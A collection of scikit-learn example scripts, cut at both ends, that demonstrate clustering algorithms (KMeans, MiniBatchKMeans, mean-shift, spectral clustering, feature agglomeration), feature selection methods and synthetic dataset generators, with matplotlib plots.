k_means = KMeans(init='k-means++', n_clusters=3, n_init=10)
t0 = time.time()
k_means.fit(X)
t_batch = time.time() - t0

##############################################################################
# Compute clustering with MiniBatchKMeans

mbk = MiniBatchKMeans(init='k-means++', n_clusters=3, batch_size=batch_size,
                      n_init=10, max_no_improvement=10, verbose=0)
t0 = time.time()
mbk.fit(X)
t_mini_batch = time.time() - t0

##############################################################################
# Plot result

fig = plt.figure(figsize=(8, 3))
fig.subplots_adjust(left=0.02, right=0.98, bottom=0.05, top=0.9)
colors = ['#4EACC5', '#FF9C34', '#4E9A06']

# We want to have the same colors for the same cluster from the
# MiniBatchKMeans and the KMeans algorithm. Let's pair the cluster centers per
# closest one.
k_means_cluster_centers = np.sort(k_means.cluster_centers_, axis=0)
mbk_means_cluster_centers = np.sort(mbk.cluster_centers_, axis=0)
k_means_labels = pairwise_distances_argmin(X, k_means_cluster_centers)
mbk_means_labels = pairwise_distances_argmin(X, mbk_means_cluster_centers)
order = pairwise_distances_argmin(k_means_cluster_centers,
                                  mbk_means_cluster_centers)

# KMeans
ax = fig.add_subplot(1, 3, 1)
for k, col in zip(range(n_clusters), colors):
    my_members = k_means_labels == k
    cluster_center = k_means_cluster_centers[k]
    ax.plot(X[my_members, 0], X[my_members, 1], 'w',
            markerfacecolor=col, marker='.')
    ax.plot(cluster_center[0], cluster_center[1], 'o', markerfacecolor=col,
            markeredgecolor='k', markersize=6)
ax.set_title('KMeans')
ax.set_xticks(())
ax.set_yticks(())
plt.text(-3.5, 1.8,  'train time: %.2fs\ninertia: %f' % (
    t_batch, k_means.inertia_))

# MiniBatchKMeans
ax = fig.add_subplot(1, 3, 2)
for k, col in zip(range(n_clusters), colors):
    my_members = mbk_means_labels == order[k]
    cluster_center = mbk_means_cluster_centers[order[k]]
    ax.plot(X[my_members, 0], X[my_members, 1], 'w',
            markerfacecolor=col, marker='.')
    ax.plot(cluster_center[0], cluster_center[1], 'o', markerfacecolor=col,
            markeredgecolor='k', markersize=6)
ax.set_title('MiniBatchKMeans')
ax.set_xticks(())
ax.set_yticks(())
plt.text(-3.5, 1.8, 'train time: %.2fs\ninertia: %f' %
         (t_mini_batch, mbk.inertia_))

# Initialise the different array to all False
different = (mbk_means_labels == 4)
ax = fig.add_subplot(1, 3, 3)

for k in range(n_clusters):
    different += ((k_means_labels == k) != (mbk_means_labels == order[k]))

identic = np.logical_not(different)
ax.plot(X[identic, 0], X[identic, 1], 'w',
        markerfacecolor='#bbbbbb', marker='.')
ax.plot(X[different, 0], X[different, 1], 'w',
        markerfacecolor='m', marker='.')
ax.set_title('Difference')
ax.set_xticks(())
ax.set_yticks(())

plt.show()






"""
=============================================
A demo of the mean-shift clustering algorithm
=============================================

Reference:

Dorin Comaniciu and Peter Meer, "Mean Shift: A robust approach toward
feature space analysis". IEEE Transactions on Pattern Analysis and
Machine Intelligence. 2002. pp. 603-619.

"""
print(__doc__)

import numpy as np
from sklearn.cluster import MeanShift, estimate_bandwidth
from sklearn.datasets.samples_generator import make_blobs

###############################################################################
# Generate sample data
centers = [[1, 1], [-1, -1], [1, -1]]
X, _ = make_blobs(n_samples=10000, centers=centers, cluster_std=0.6)

###############################################################################
# Compute clustering with MeanShift

# The following bandwidth can be automatically detected using
bandwidth = estimate_bandwidth(X, quantile=0.2, n_samples=500)

ms = MeanShift(bandwidth=bandwidth, bin_seeding=True)
ms.fit(X)
labels = ms.labels_
cluster_centers = ms.cluster_centers_

labels_unique = np.unique(labels)
n_clusters_ = len(labels_unique)

print("number of estimated clusters : %d" % n_clusters_)

###############################################################################
# Plot result
import matplotlib.pyplot as plt
from itertools import cycle

plt.figure(1)
plt.clf()

colors = cycle('bgrcmykbgrcmykbgrcmykbgrcmyk')
for k, col in zip(range(n_clusters_), colors):
    my_members = labels == k
    cluster_center = cluster_centers[k]
    plt.plot(X[my_members, 0], X[my_members, 1], col + '.')
    plt.plot(cluster_center[0], cluster_center[1], 'o', markerfacecolor=col,
             markeredgecolor='k', markersize=14)
plt.title('Estimated number of clusters: %d' % n_clusters_)
plt.show()






#!/usr/bin/python
# -*- coding: utf-8 -*-

"""
=========================================================
Feature agglomeration
=========================================================

These images how similar features are merged together using
feature agglomeration.
"""
print(__doc__)

# Code source: Gaël Varoquaux
# Modified for documentation by Jaques Grobler
# License: BSD 3 clause

import numpy as np
import matplotlib.pyplot as plt

from sklearn import datasets, cluster
from sklearn.feature_extraction.image import grid_to_graph

digits = datasets.load_digits()
images = digits.images
X = np.reshape(images, (len(images), -1))
connectivity = grid_to_graph(*images[0].shape)

agglo = cluster.FeatureAgglomeration(connectivity=connectivity,
                                     n_clusters=32)

agglo.fit(X)
X_reduced = agglo.transform(X)

X_restored = agglo.inverse_transform(X_reduced)
images_restored = np.reshape(X_restored, images.shape)
plt.figure(1, figsize=(4, 3.5))
plt.clf()
plt.subplots_adjust(left=.01, right=.99, bottom=.01, top=.91)
for i in range(4):
    plt.subplot(3, 4, i + 1)
    plt.imshow(images[i], cmap=plt.cm.gray, vmax=16, interpolation='nearest')
    plt.xticks(())
    plt.yticks(())
    if i == 1:
        plt.title('Original data')
    plt.subplot(3, 4, 4 + i + 1)
    plt.imshow(images_restored[i], cmap=plt.cm.gray, vmax=16,
               interpolation='nearest')
    if i == 1:
        plt.title('Agglomerated data')
    plt.xticks(())
    plt.yticks(())

plt.subplot(3, 4, 10)
plt.imshow(np.reshape(agglo.labels_, images[0].shape),
           interpolation='nearest', cmap=plt.cm.spectral)
plt.xticks(())
plt.yticks(())
plt.title('Labels')
plt.show()






#!/usr/bin/python
# -*- coding: utf-8 -*-

"""
=========================================================
K-means Clustering
=========================================================

The plots display firstly what a K-means algorithm would yield
using three clusters. It is then shown what the effect of a bad
initialization is on the classification process:
By setting n_init to only 1 (default is 10), the amount of
times that the algorithm will be run with different centroid
seeds is reduced.
The next plot displays what using eight clusters would deliver
and finally the ground truth.

"""
print(__doc__)


# Code source: Gaël Varoquaux
# Modified for documentation by Jaques Grobler
# License: BSD 3 clause

import numpy as np
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D


from sklearn.cluster import KMeans
from sklearn import datasets

np.random.seed(5)

centers = [[1, 1], [-1, -1], [1, -1]]
iris = datasets.load_iris()
X = iris.data
y = iris.target

estimators = {'k_means_iris_3': KMeans(n_clusters=3),
              'k_means_iris_8': KMeans(n_clusters=8),
              'k_means_iris_bad_init': KMeans(n_clusters=3, n_init=1,
                                              init='random')}


fignum = 1
for name, est in estimators.items():
    fig = plt.figure(fignum, figsize=(4, 3))
    plt.clf()
    ax = Axes3D(fig, rect=[0, 0, .95, 1], elev=48, azim=134)

    plt.cla()
    est.fit(X)
    labels = est.labels_

    ax.scatter(X[:, 3], X[:, 0], X[:, 2], c=labels.astype(np.float))

    ax.w_xaxis.set_ticklabels([])
    ax.w_yaxis.set_ticklabels([])
    ax.w_zaxis.set_ticklabels([])
    ax.set_xlabel('Petal width')
    ax.set_ylabel('Sepal length')
    ax.set_zlabel('Petal length')
    fignum = fignum + 1

# Plot the ground truth
fig = plt.figure(fignum, figsize=(4, 3))
plt.clf()
ax = Axes3D(fig, rect=[0, 0, .95, 1], elev=48, azim=134)

plt.cla()

for name, label in [('Setosa', 0),
                    ('Versicolour', 1),
                    ('Virginica', 2)]:
    ax.text3D(X[y == label, 3].mean(),
              X[y == label, 0].mean() + 1.5,
              X[y == label, 2].mean(), name,
              horizontalalignment='center',
              bbox=dict(alpha=.5, edgecolor='w', facecolor='w'))
# Reorder the labels to have colors matching the cluster results
y = np.choose(y, [1, 2, 0]).astype(np.float)
ax.scatter(X[:, 3], X[:, 0], X[:, 2], c=y)

ax.w_xaxis.set_ticklabels([])
ax.w_yaxis.set_ticklabels([])
ax.w_zaxis.set_ticklabels([])
ax.set_xlabel('Petal width')
ax.set_ylabel('Sepal length')
ax.set_zlabel('Petal length')
plt.show()






"""
=========================================================
Comparing different clustering algorithms on toy datasets
=========================================================

This example aims at showing characteristics of different
clustering algorithms on datasets that are "interesting"
but still in 2D. The last dataset is an example of a 'null'
situation for clustering: the data is homogeneous, and
there is no good clustering.

While these examples give some intuition about the algorithms,
this intuition might not apply to very high dimensional data.

The results could be improved by tweaking the parameters for
each clustering strategy, for instance setting the number of
clusters for the methods that needs this parameter
specified. Note that affinity propagation has a tendency to
create many clusters. Thus in this example its two parameters
(damping and per-point preference) were set to mitigate this
behavior.
"""
print(__doc__)

import time

import numpy as np
import matplotlib.pyplot as plt

from sklearn import cluster, datasets
from sklearn.neighbors import kneighbors_graph
from sklearn.preprocessing import StandardScaler

np.random.seed(0)

# Generate datasets. We choose the size big enough to see the scalability
# of the algorithms, but not too big to avoid too long running times
n_samples = 1500
noisy_circles = datasets.make_circles(n_samples=n_samples, factor=.5,
                                      noise=.05)
noisy_moons = datasets.make_moons(n_samples=n_samples, noise=.05)
blobs = datasets.make_blobs(n_samples=n_samples, random_state=8)
no_structure = np.random.rand(n_samples, 2), None

colors = np.array([x for x in 'bgrcmykbgrcmykbgrcmykbgrcmyk'])
colors = np.hstack([colors] * 20)

clustering_names = [
    'MiniBatchKMeans', 'AffinityPropagation', 'MeanShift',
    'SpectralClustering', 'Ward', 'AgglomerativeClustering',
    'DBSCAN', 'Birch']

plt.figure(figsize=(len(clustering_names) * 2 + 3, 9.5))
plt.subplots_adjust(left=.02, right=.98, bottom=.001, top=.96, wspace=.05,
                    hspace=.01)

plot_num = 1

datasets = [noisy_circles, noisy_moons, blobs, no_structure]
for i_dataset, dataset in enumerate(datasets):
    X, y = dataset
    # normalize dataset for easier parameter selection
    X = StandardScaler().fit_transform(X)

    # estimate bandwidth for mean shift
    bandwidth = cluster.estimate_bandwidth(X, quantile=0.3)

    # connectivity matrix for structured Ward
    connectivity = kneighbors_graph(X, n_neighbors=10, include_self=False)
    # make connectivity symmetric
    connectivity = 0.5 * (connectivity + connectivity.T)

    # create clustering estimators
    ms = cluster.MeanShift(bandwidth=bandwidth, bin_seeding=True)
    two_means = cluster.MiniBatchKMeans(n_clusters=2)
    ward = cluster.AgglomerativeClustering(n_clusters=2, linkage='ward',
                                           connectivity=connectivity)
    spectral = cluster.SpectralClustering(n_clusters=2,
                                          eigen_solver='arpack',
                                          affinity="nearest_neighbors")
    dbscan = cluster.DBSCAN(eps=.2)
    affinity_propagation = cluster.AffinityPropagation(damping=.9,
                                                       preference=-200)

    average_linkage = cluster.AgglomerativeClustering(
        linkage="average", affinity="cityblock", n_clusters=2,
        connectivity=connectivity)

    birch = cluster.Birch(n_clusters=2)
    clustering_algorithms = [
        two_means, affinity_propagation, ms, spectral, ward, average_linkage,
        dbscan, birch]

    for name, algorithm in zip(clustering_names, clustering_algorithms):
        # predict cluster memberships
        t0 = time.time()
        algorithm.fit(X)
        t1 = time.time()
        if hasattr(algorithm, 'labels_'):
            y_pred = algorithm.labels_.astype(np.int)
        else:
            y_pred = algorithm.predict(X)

        # plot
        plt.subplot(4, len(clustering_algorithms), plot_num)
        if i_dataset == 0:
            plt.title(name, size=18)
        plt.scatter(X[:, 0], X[:, 1], color=colors[y_pred].tolist(), s=10)

        if hasattr(algorithm, 'cluster_centers_'):
            centers = algorithm.cluster_centers_
            center_colors = colors[:len(centers)]
            plt.scatter(centers[:, 0], centers[:, 1], s=100, c=center_colors)
        plt.xlim(-2, 2)
        plt.ylim(-2, 2)
        plt.xticks(())
        plt.yticks(())
        plt.text(.99, .01, ('%.2fs' % (t1 - t0)).lstrip('0'),
                 transform=plt.gca().transAxes, size=15,
                 horizontalalignment='right')
        plot_num += 1

plt.show()






"""
===================================================
Segmenting the picture of a raccoon face in regions
===================================================

This example uses :ref:`spectral_clustering` on a graph created from
voxel-to-voxel difference on an image to break this image into multiple
partly-homogeneous regions.

This procedure (spectral clustering on an image) is an efficient
approximate solution for finding normalized graph cuts.

There are two options to assign labels:

* with 'kmeans' spectral clustering will cluster samples in the embedding space
  using a kmeans algorithm
* whereas 'discrete' will iteratively search for the closest partition
  space to the embedding space.
"""
print(__doc__)

# Author: Gael Varoquaux <gael.varoquaux@normalesup.org>, Brian Cheung
# License: BSD 3 clause

import time

import numpy as np
import scipy as sp
import matplotlib.pyplot as plt

from sklearn.feature_extraction import image
from sklearn.cluster import spectral_clustering
from sklearn.utils.testing import SkipTest
from sklearn.utils.fixes import sp_version

if sp_version < (0, 12):
    raise SkipTest("Skipping because SciPy version earlier than 0.12.0 and "
                   "thus does not include the scipy.misc.face() image.")


# load the raccoon face as a numpy array
try:
    face = sp.face(gray=True)
except AttributeError:
    # Newer versions of scipy have face in misc
    from scipy import misc
    face = misc.face(gray=True)

# Resize it to 10% of the original size to speed up the processing
face = sp.misc.imresize(face, 0.10) / 255.

# Convert the image into a graph with the value of the gradient on the
# edges.
graph = image.img_to_graph(face)

# Take a decreasing function of the gradient: an exponential
# The smaller beta is, the more independent the segmentation is of the
# actual image. For beta=1, the segmentation is close to a voronoi
beta = 5
eps = 1e-6
graph.data = np.exp(-beta * graph.data / graph.data.std()) + eps

# Apply spectral clustering (this step goes much faster if you have pyamg
# installed)
N_REGIONS = 25

#############################################################################
# Visualize the resulting regions

for assign_labels in ('kmeans', 'discretize'):
    t0 = time.time()
    labels = spectral_clustering(graph, n_clusters=N_REGIONS,
                                 assign_labels=assign_labels, random_state=1)
    t1 = time.time()
    labels = labels.reshape(face.shape)

    plt.figure(figsize=(5, 5))
    plt.imshow(face, cmap=plt.cm.gray)
    for l in range(N_REGIONS):
        plt.contour(labels == l, contours=1,
                    colors=[plt.cm.spectral(l / float(N_REGIONS))])
    plt.xticks(())
    plt.yticks(())
    title = 'Spectral clustering: %s, %.2fs' % (assign_labels, (t1 - t0))
    print(title)
    plt.title(title)
plt.show()






"""
==============================================
Feature agglomeration vs. univariate selection
==============================================

This example compares 2 dimensionality reduction strategies:

- univariate feature selection with Anova

- feature agglomeration with Ward hierarchical clustering

Both methods are compared in a regression problem using
a BayesianRidge as supervised estimator.
"""

# Author: Alexandre Gramfort <alexandre.gramfort@inria.fr>
# License: BSD 3 clause

print(__doc__)

import shutil
import tempfile

import numpy as np
import matplotlib.pyplot as plt
from scipy import linalg, ndimage

from sklearn.feature_extraction.image import grid_to_graph
from sklearn import feature_selection
from sklearn.cluster import FeatureAgglomeration
from sklearn.linear_model import BayesianRidge
from sklearn.pipeline import Pipeline
from sklearn.externals.joblib import Memory
from sklearn.model_selection import GridSearchCV
from sklearn.model_selection import KFold

###############################################################################
# Generate data
n_samples = 200
size = 40  # image size
roi_size = 15
snr = 5.
np.random.seed(0)
mask = np.ones([size, size], dtype=np.bool)

coef = np.zeros((size, size))
coef[0:roi_size, 0:roi_size] = -1.
coef[-roi_size:, -roi_size:] = 1.

X = np.random.randn(n_samples, size ** 2)
for x in X:  # smooth data
    x[:] = ndimage.gaussian_filter(x.reshape(size, size), sigma=1.0).ravel()
X -= X.mean(axis=0)
X /= X.std(axis=0)

y = np.dot(X, coef.ravel())
noise = np.random.randn(y.shape[0])
noise_coef = (linalg.norm(y, 2) / np.exp(snr / 20.)) / linalg.norm(noise, 2)
y += noise_coef * noise  # add noise

###############################################################################
# Compute the coefs of a Bayesian Ridge with GridSearch
cv = KFold(2)  # cross-validation generator for model selection
ridge = BayesianRidge()
cachedir = tempfile.mkdtemp()
mem = Memory(cachedir=cachedir, verbose=1)

# Ward agglomeration followed by BayesianRidge
connectivity = grid_to_graph(n_x=size, n_y=size)
ward = FeatureAgglomeration(n_clusters=10, connectivity=connectivity,
                            memory=mem)
clf = Pipeline([('ward', ward), ('ridge', ridge)])
# Select the optimal number of parcels with grid search
clf = GridSearchCV(clf, {'ward__n_clusters': [10, 20, 30]}, n_jobs=1, cv=cv)
clf.fit(X, y)  # set the best parameters
coef_ = clf.best_estimator_.steps[-1][1].coef_
coef_ = clf.best_estimator_.steps[0][1].inverse_transform(coef_)
coef_agglomeration_ = coef_.reshape(size, size)

# Anova univariate feature selection followed by BayesianRidge
f_regression = mem.cache(feature_selection.f_regression)  # caching function
anova = feature_selection.SelectPercentile(f_regression)
clf = Pipeline([('anova', anova), ('ridge', ridge)])
# Select the optimal percentage of features with grid search
clf = GridSearchCV(clf, {'anova__percentile': [5, 10, 20]}, cv=cv)
clf.fit(X, y)  # set the best parameters
coef_ = clf.best_estimator_.steps[-1][1].coef_
coef_ = clf.best_estimator_.steps[0][1].inverse_transform(coef_.reshape(1, -1))
coef_selection_ = coef_.reshape(size, size)

###############################################################################
# Inverse the transformation to plot the results on an image
plt.close('all')
plt.figure(figsize=(7.3, 2.7))
plt.subplot(1, 3, 1)
plt.imshow(coef, interpolation="nearest", cmap=plt.cm.RdBu_r)
plt.title("True weights")
plt.subplot(1, 3, 2)
plt.imshow(coef_selection_, interpolation="nearest", cmap=plt.cm.RdBu_r)
plt.title("Feature Selection")
plt.subplot(1, 3, 3)
plt.imshow(coef_agglomeration_, interpolation="nearest", cmap=plt.cm.RdBu_r)
plt.title("Feature Agglomeration")
plt.subplots_adjust(0.04, 0.0, 0.98, 0.94, 0.16, 0.26)
plt.show()

# Attempt to remove the temporary cachedir, but don't worry if it fails
shutil.rmtree(cachedir, ignore_errors=True)






"""
==================
Pipeline Anova SVM
==================

Simple usage of Pipeline that runs successively a univariate
feature selection with anova and then a C-SVM of the selected features.
"""
print(__doc__)

from sklearn import svm
from sklearn.datasets import samples_generator
from sklearn.feature_selection import SelectKBest, f_regression
from sklearn.pipeline import make_pipeline

# import some data to play with
X, y = samples_generator.make_classification(
    n_features=20, n_informative=3, n_redundant=0, n_classes=4,
    n_clusters_per_class=2)

# ANOVA SVM-C
# 1) anova filter, take 3 best ranked features
anova_filter = SelectKBest(f_regression, k=3)
# 2) svm
clf = svm.SVC(kernel='linear')

anova_svm = make_pipeline(anova_filter, clf)
anova_svm.fit(X, y)
anova_svm.predict(X)






"""
===================================================
Recursive feature elimination with cross-validation
===================================================

A recursive feature elimination example with automatic tuning of the
number of features selected with cross-validation.
"""
print(__doc__)

import matplotlib.pyplot as plt
from sklearn.svm import SVC
from sklearn.model_selection import StratifiedKFold
from sklearn.feature_selection import RFECV
from sklearn.datasets import make_classification

# Build a classification task using 3 informative features
X, y = make_classification(n_samples=1000, n_features=25, n_informative=3,
                           n_redundant=2, n_repeated=0, n_classes=8,
                           n_clusters_per_class=1, random_state=0)

# Create the RFE object and compute a cross-validated score.
svc = SVC(kernel="linear")
# The "accuracy" scoring is proportional to the number of correct
# classifications
rfecv = RFECV(estimator=svc, step=1, cv=StratifiedKFold(2),
              scoring='accuracy')
rfecv.fit(X, y)

print("Optimal number of features : %d" % rfecv.n_features_)

# Plot number of features VS. cross-validation scores
plt.figure()
plt.xlabel("Number of features selected")
plt.ylabel("Cross validation score (nb of correct classifications)")
plt.plot(range(1, len(rfecv.grid_scores_) + 1), rfecv.grid_scores_)
plt.show()






"""
===========================================
Comparison of F-test and mutual information
===========================================

This example illustrates the differences between univariate F-test statistics
and mutual information.

We consider 3 features x_1, x_2, x_3 distributed uniformly over [0, 1], the
target depends on them as follows:

y = x_1 + sin(6 * pi * x_2) + 0.1 * N(0, 1), that is the third features is completely irrelevant.

The code below plots the dependency of y against individual x_i and normalized
values of univariate F-tests statistics and mutual information.

As F-test captures only linear dependency, it rates x_1 as the most
discriminative feature. On the other hand, mutual information can capture any
kind of dependency between variables and it rates x_2 as the most
discriminative feature, which probably agrees better with our intuitive
perception for this example. Both methods correctly marks x_3 as irrelevant.
"""
print(__doc__)

import numpy as np
import matplotlib.pyplot as plt
from sklearn.feature_selection import f_regression, mutual_info_regression

np.random.seed(0)
X = np.random.rand(1000, 3)
y = X[:, 0] + np.sin(6 * np.pi * X[:, 1]) + 0.1 * np.random.randn(1000)

f_test, _ = f_regression(X, y)
f_test /= np.max(f_test)

mi = mutual_info_regression(X, y)
mi /= np.max(mi)

plt.figure(figsize=(15, 5))
for i in range(3):
    plt.subplot(1, 3, i + 1)
    plt.scatter(X[:, i], y)
    plt.xlabel("$x_{}$".format(i + 1), fontsize=14)
    if i == 0:
        plt.ylabel("$y$", fontsize=14)
    plt.title("F-test={:.2f}, MI={:.2f}".format(f_test[i], mi[i]),
              fontsize=16)
plt.show()







"""
=================================================================
Test with permutations the significance of a classification score
=================================================================

In order to test if a classification score is significative a technique
in repeating the classification procedure after randomizing, permuting,
the labels. The p-value is then given by the percentage of runs for
which the score obtained is greater than the classification score
obtained in the first place.

"""

# Author:  Alexandre Gramfort <alexandre.gramfort@inria.fr>
# License: BSD 3 clause

print(__doc__)

import numpy as np
import matplotlib.pyplot as plt

from sklearn.svm import SVC
from sklearn.model_selection import StratifiedKFold
from sklearn.model_selection import permutation_test_score
from sklearn import datasets


##############################################################################
# Loading a dataset
iris = datasets.load_iris()
X = iris.data
y = iris.target
n_classes = np.unique(y).size

# Some noisy data not correlated
random = np.random.RandomState(seed=0)
E = random.normal(size=(len(X), 2200))

# Add noisy data to the informative features for make the task harder
X = np.c_[X, E]

svm = SVC(kernel='linear')
cv = StratifiedKFold(2)

score, permutation_scores, pvalue = permutation_test_score(
    svm, X, y, scoring="accuracy", cv=cv, n_permutations=100, n_jobs=1)

print("Classification score %s (pvalue : %s)" % (score, pvalue))

###############################################################################
# View histogram of permutation scores
plt.hist(permutation_scores, 20, label='Permutation scores')
ylim = plt.ylim()
# BUG: vlines(..., linestyle='--') fails on older versions of matplotlib
#plt.vlines(score, ylim[0], ylim[1], linestyle='--',
#          color='g', linewidth=3, label='Classification Score'
#          ' (pvalue %s)' % pvalue)
#plt.vlines(1.0 / n_classes, ylim[0], ylim[1], linestyle='--',
#          color='k', linewidth=3, label='Luck')
plt.plot(2 * [score], ylim, '--g', linewidth=3,
         label='Classification Score'
         ' (pvalue %s)' % pvalue)
plt.plot(2 * [1. / n_classes], ylim, '--k', linewidth=3, label='Luck')

plt.ylim(ylim)
plt.legend()
plt.xlabel('Score')
plt.show()






"""
===================================================
Feature selection using SelectFromModel and LassoCV
===================================================

Use SelectFromModel meta-transformer along with Lasso to select the best
couple of features from the Boston dataset.
"""
# Author: Manoj Kumar <mks542@nyu.edu>
# License: BSD 3 clause

print(__doc__)

import matplotlib.pyplot as plt
import numpy as np

from sklearn.datasets import load_boston
from sklearn.feature_selection import SelectFromModel
from sklearn.linear_model import LassoCV

# Load the boston dataset.
boston = load_boston()
X, y = boston['data'], boston['target']

# We use the base estimator LassoCV since the L1 norm promotes sparsity of features.
clf = LassoCV()

# Set a minimum threshold of 0.25
sfm = SelectFromModel(clf, threshold=0.25)
sfm.fit(X, y)
n_features = sfm.transform(X).shape[1]

# Reset the threshold till the number of features equals two.
# Note that the attribute can be set directly instead of repeatedly
# fitting the metatransformer.
while n_features > 2:
    sfm.threshold += 0.1
    X_transform = sfm.transform(X)
    n_features = X_transform.shape[1]

# Plot the selected two features from X.
plt.title(
    "Features selected from Boston using SelectFromModel with "
    "threshold %0.3f." % sfm.threshold)
feature1 = X_transform[:, 0]
feature2 = X_transform[:, 1] 
plt.plot(feature1, feature2, 'r.')
plt.xlabel("Feature number 1")
plt.ylabel("Feature number 2")
plt.ylim([np.min(feature2), np.max(feature2)])
plt.show()






"""
===============================
Univariate Feature Selection
===============================

An example showing univariate feature selection.

Noisy (non informative) features are added to the iris data and
univariate feature selection is applied. For each feature, we plot the
p-values for the univariate feature selection and the corresponding
weights of an SVM. We can see that univariate feature selection
selects the informative features and that these have larger SVM weights.

In the total set of features, only the 4 first ones are significant. We
can see that they have the highest score with univariate feature
selection. The SVM assigns a large weight to one of these features, but also
Selects many of the non-informative features.
Applying univariate feature selection before the SVM
increases the SVM weight attributed to the significant features, and will
thus improve classification.
"""
print(__doc__)

import numpy as np
import matplotlib.pyplot as plt

from sklearn import datasets, svm
from sklearn.feature_selection import SelectPercentile, f_classif

###############################################################################
# import some data to play with

# The iris dataset
iris = datasets.load_iris()

# Some noisy data not correlated
E = np.random.uniform(0, 0.1, size=(len(iris.data), 20))

# Add the noisy data to the informative features
X = np.hstack((iris.data, E))
y = iris.target

###############################################################################
plt.figure(1)
plt.clf()

X_indices = np.arange(X.shape[-1])

###############################################################################
# Univariate feature selection with F-test for feature scoring
# We use the default selection function: the 10% most significant features
selector = SelectPercentile(f_classif, percentile=10)
selector.fit(X, y)
scores = -np.log10(selector.pvalues_)
scores /= scores.max()
plt.bar(X_indices - .45, scores, width=.2,
        label=r'Univariate score ($-Log(p_{value})$)', color='darkorange')

###############################################################################
# Compare to the weights of an SVM
clf = svm.SVC(kernel='linear')
clf.fit(X, y)

svm_weights = (clf.coef_ ** 2).sum(axis=0)
svm_weights /= svm_weights.max()

plt.bar(X_indices - .25, svm_weights, width=.2, label='SVM weight',
        color='navy')

clf_selected = svm.SVC(kernel='linear')
clf_selected.fit(selector.transform(X), y)

svm_weights_selected = (clf_selected.coef_ ** 2).sum(axis=0)
svm_weights_selected /= svm_weights_selected.max()

plt.bar(X_indices[selector.get_support()] - .05, svm_weights_selected,
        width=.2, label='SVM weights after selection', color='c')


plt.title("Comparing feature selection")
plt.xlabel('Feature number')
plt.yticks(())
plt.axis('tight')
plt.legend(loc='upper right')
plt.show()






"""
=============================
Recursive feature elimination
=============================

A recursive feature elimination example showing the relevance of pixels in
a digit classification task.

.. note::

    See also :ref:`sphx_glr_auto_examples_feature_selection_plot_rfe_with_cross_validation.py`

"""
print(__doc__)

from sklearn.svm import SVC
from sklearn.datasets import load_digits
from sklearn.feature_selection import RFE
import matplotlib.pyplot as plt

# Load the digits dataset
digits = load_digits()
X = digits.images.reshape((len(digits.images), -1))
y = digits.target

# Create the RFE object and rank each pixel
svc = SVC(kernel="linear", C=1)
rfe = RFE(estimator=svc, n_features_to_select=1, step=1)
rfe.fit(X, y)
ranking = rfe.ranking_.reshape(digits.images[0].shape)

# Plot pixel ranking
plt.matshow(ranking, cmap=plt.cm.Blues)
plt.colorbar()
plt.title("Ranking of pixels with RFE")
plt.show()






"""
==============================================
Plot randomly generated multilabel dataset
==============================================

This illustrates the `datasets.make_multilabel_classification` dataset
generator. Each sample consists of counts of two features (up to 50 in
total), which are differently distributed in each of two classes.

Points are labeled as follows, where Y means the class is present:

    =====  =====  =====  ======
      1      2      3    Color
    =====  =====  =====  ======
      Y      N      N    Red
      N      Y      N    Blue
      N      N      Y    Yellow
      Y      Y      N    Purple
      Y      N      Y    Orange
      Y      Y      N    Green
      Y      Y      Y    Brown
    =====  =====  =====  ======

A star marks the expected sample for each class; its size reflects the
probability of selecting that class label.

The left and right examples highlight the ``n_labels`` parameter:
more of the samples in the right plot have 2 or 3 labels.

Note that this two-dimensional example is very degenerate:
generally the number of features would be much greater than the
"document length", while here we have much larger documents than vocabulary.
Similarly, with ``n_classes > n_features``, it is much less likely that a
feature distinguishes a particular class.
"""

from __future__ import print_function
import numpy as np
import matplotlib.pyplot as plt

from sklearn.datasets import make_multilabel_classification as make_ml_clf

print(__doc__)

COLORS = np.array(['!',
                   '#FF3333',  # red
                   '#0198E1',  # blue
                   '#BF5FFF',  # purple
                   '#FCD116',  # yellow
                   '#FF7216',  # orange
                   '#4DBD33',  # green
                   '#87421F'   # brown
                   ])

# Use same random seed for multiple calls to make_multilabel_classification to
# ensure same distributions
RANDOM_SEED = np.random.randint(2 ** 10)


def plot_2d(ax, n_labels=1, n_classes=3, length=50):
    X, Y, p_c, p_w_c = make_ml_clf(n_samples=150, n_features=2,
                                   n_classes=n_classes, n_labels=n_labels,
                                   length=length, allow_unlabeled=False,
                                   return_distributions=True,
                                   random_state=RANDOM_SEED)

    ax.scatter(X[:, 0], X[:, 1], color=COLORS.take((Y * [1, 2, 4]
                                                    ).sum(axis=1)),
               marker='.')
    ax.scatter(p_w_c[0] * length, p_w_c[1] * length,
               marker='*', linewidth=.5, edgecolor='black',
               s=20 + 1500 * p_c ** 2,
               color=COLORS.take([1, 2, 4]))
    ax.set_xlabel('Feature 0 count')
    return p_c, p_w_c


_, (ax1, ax2) = plt.subplots(1, 2, sharex='row', sharey='row', figsize=(8, 4))
plt.subplots_adjust(bottom=.15)

p_c, p_w_c = plot_2d(ax1, n_labels=1)
ax1.set_title('n_labels=1, length=50')
ax1.set_ylabel('Feature 1 count')

plot_2d(ax2, n_labels=3)
ax2.set_title('n_labels=3, length=50')
ax2.set_xlim(left=0, auto=True)
ax2.set_ylim(bottom=0, auto=True)

plt.show()

print('The data was generated from (random_state=%d):' % RANDOM_SEED)
print('Class', 'P(C)', 'P(w0|C)', 'P(w1|C)', sep='\t')
for k, p, p_w in zip(['red', 'blue', 'yellow'], p_c, p_w_c.T):
    print('%s\t%0.2f\t%0.2f\t%0.2f' % (k, p, p_w[0], p_w[1]))






#!/usr/bin/python
# -*- coding: utf-8 -*-

"""
=========================================================
The Digit Dataset
=========================================================

This dataset is made up of 1797 8x8 images. Each image,
like the one shown below, is of a hand-written digit.
In order to utilize an 8x8 figure like this, we'd have to
first transform it into a feature vector with length 64.

See `here
<http://archive.ics.uci.edu/ml/datasets/Pen-Based+Recognition+of+Handwritten+Digits>`_
for more information about this dataset.
"""
print(__doc__)


# Code source: Gaël Varoquaux
# Modified for documentation by Jaques Grobler
# License: BSD 3 clause

from sklearn import datasets

import matplotlib.pyplot as plt

#Load the digits dataset
digits = datasets.load_digits()

#Display the first digit
plt.figure(1, figsize=(3, 3))
plt.imshow(digits.images[-1], cmap=plt.cm.gray_r, interpolation='nearest')
plt.show()






"""
==============================================
Plot randomly generated classification dataset
==============================================

Plot several randomly generated 2D classification datasets.
This example illustrates the :func:`datasets.make_classification`
:func:`datasets.make_blobs` and :func:`datasets.make_gaussian_quantiles`
functions.

For ``make_classification``, three binary and two multi-class classification
datasets are generated, with different numbers of informative features and
clusters per class.  """

print(__doc__)

import matplotlib.pyplot as plt

from sklearn.datasets import make_classification
from sklearn.datasets import make_blobs
